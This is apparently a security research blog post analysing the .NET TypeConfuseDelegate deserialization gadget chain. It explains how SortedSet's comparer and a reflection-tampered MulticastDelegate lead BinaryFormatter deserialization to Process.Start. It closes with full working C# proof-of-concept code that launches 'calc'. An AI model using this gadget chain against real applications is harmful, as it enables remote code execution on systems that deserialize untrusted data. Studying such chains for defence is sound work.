Analyze .NET deserialization: TypeConfuseDelegate gadget chain with BinaryFormatter
by Quang Vo
Introduction
TypeConfuseDelegate is a gadget chain take advantage of SortedSet class calls the comparator class to sort while deserializing, which is an input that attacker can controls and multicast delegate can modify the characteristics of delegate instance to trigger code execution during deserialization process.
In this blog, we will have 2 main sections:
- First is about
SortedSetclass and how it can be used as a gadget chain - Second is about how
MulticastDelegateis used to help trigger code execution and why this gadget is namedTypeConfuseDelegate
1. About SortedSet class
In its simplest form, SortedSet take a comparator as an input, and then you call Add to add elements that you want to compare to sort
// Create a sorted set using the ByFileExtension comparer.
var set = new SortedSet<string>(new ByFileExtension());
set.Add("hello.a");
set.Add("hello.b");
In the code above, ByFileExtension is a comparator which is inherited from IComparer<T> interface

In this interface, it defines a method int Compare(T x, T y) . This method is used to compare 2 objects that have the same Type.
When we call Add(T x) for the first time, the comparator won’t be called, only after the second call to Add(T x), the comparator will be called ( gotta need something to compare with right ? :D )
Comparer class and ComparisonComparer type
Compaerer<T> implements ICompare<T> interface, in this class, we will focus on Comparer.Create() function because that is we want to create a comparator as an input for SortedSet class
Comparer
Comparer.Create() returns a ComparisonComparer<T> type

As you can see, ComparisonComparer<T> implements Serializable attribute and it inherited from Comparer<T> class, so in here we have a class that:
- Can be serialized
- Is a comparator, which can be used as an input for
SortedSetobject
Please take note of this class as it will become very important for our gadget chain.
We will focus on the function that it uses to compare:
public override int Compare(T x, T y)
{
return this._comparison(x,y);
}
Where this._comparison has a type Compasion<T> and the type is passed in at initilization time. Let’s take a deeper look at Comparison<T> type
public delegate int Comparison<in T>(T x, T y);
Its function signature is the same as Comparison function and method in IComparer<T> interface.
Sortedset OnDeserialization callback

IDeserializationCallback interface defined OnDeserialization method which is automatically called during deserialization process, it’s like magic method
In SortedSet.OnDeserialization() implementation, we can see:
- It extracts a type named
Comparerwith the typeIComparer<T> - It extracts our input when we call
Add(input)inGetValues("Items")
So during deserialization process, when SortedSet<T> trigger sort, it will call the comparison function in the comparator after we call Add more than 2 times.
Idea to craft RCE payload:
Because we can control the comparison function input, we can also control the elements that we want to Add(). If we can set the comparison function to Process.Start() . We can achieve code execution
public static Process Start(string fileName, string arguments)
{
return Process.Start(new ProcessStartInfo(fileName, arguments));
}
Process.Start() function return Process type, if we replace comparison function with Process.Start() function, it will throw error and cause serialization failure
So how do we overcome this problem ?. Turn out, we can replace the calling function with a MulticastDelegate.
2. About MulticastDelegate to TypeConfuseDelegate gadget chain
Here is the code that use MulticastDelegate as an input for SortedSet class.

Let’s break it down to see what’s the magic behind all this:
MulticastDelegate is a multicast delegation, there are 2 type of delegates in C#: Single and Multicast
In here, we call MulticastDelegate.Combine() , it will merge all the delegates with the same type into 1 delegate instance ( see more here). When the multicast delegate is called, it invokes the delegates in the list, in order.
MulticastDelegate.Combine() will call MulticastDelegate.CombineImpl() internally, the function implementation is lengthy but we just need to pay attention on a few things
protected sealed override Delegate CombineImpl(Delegate follow)
{
if (follow == null)
{
return this;
}
if (!Delegate.InternalEqualTypes(this, follow))
{
throw new ArgumentException(Environment.GetResourceString("Arg_DlgtTypeMis"));
}
MulticastDelegate multicastDelegate = (MulticastDelegate)follow;
int num = 1;
object[] array = multicastDelegate._invocationList as object[];
if (array != null)
{
num = (int)multicastDelegate._invocationCount;
}
object[] array2 = this._invocationList as object[];
int num2;
object[] array3;
......
There are 2 important fields: _invocationList and _invocationCount
_invocationCount: is the length of_invocationListarray_invocationList: is the array that holds all the delegate instances that need to be combined/merged
This function create a new array by extracting delegate instances from _invocationList
object[] array = multicastDelegate._invocationList as object[]
and then the function return new MulticastDelegate variable.
Looking at the code that I showed above, we are combining 2 Comparison objects with delegate type, and then we pass it to the TypeConfuseDelegate function where we will modify the content of _invocationList.
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
TypeConfuseDelegate(c);
In TypeConfuseDelegate function, by using System.Reflection , we extract the field _invocationList from MulticastDelegate and replace it with a delegate instance new Func<string, string, Process>(Process.Start) which is also a object type, so MulticastDelegate won’t complain about types mismatched.
object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
I will place a breakpoint during the code execution to show you before and after we modify the _invocationList element
Before:

As you can see, our combined delegate instance c has 2 elements in _invocationList array, they are both Comparison objects because we called Combine(d,d)
After:

And then when we call Add() to add 2 string objects to trigger compare function
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc");
set.Add("adummy");

Where this.comparer is ComparisonComparer object that we passed to SortedSet class, after calling this.Add(array[i]), it will call this.comparer.compare(x,y) which will lead us to:

Now, remember what I said earlier: The multicast delegate contains a list of the assigned delegates (_invocationList). When the multicast delegate is called, it invokes the delegates in the list, in order.
Our ComparisonComparer is a MulticastDelegate with _invocationList contains our Process.Start() function that we modified earlier. During the function execution, it will eventually leads us to our final sink:

Full code:
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading.Tasks;
namespace DeserialzationGadgetAnalysis
{
public class Program
{
static void TypeConfuseDelegate(Comparison<string> comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(string[] args)
{
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
IComparer<string> comp = Comparer<string>.Create(c);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc");
set.Add("adummy");
TypeConfuseDelegate(c);
BinaryFormatter bf = new BinaryFormatter();
BinaryFormatter bf2 = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
bf.Serialize(ms, set);
ms.Position = 0;
bf2.Deserialize(ms);
}
}
}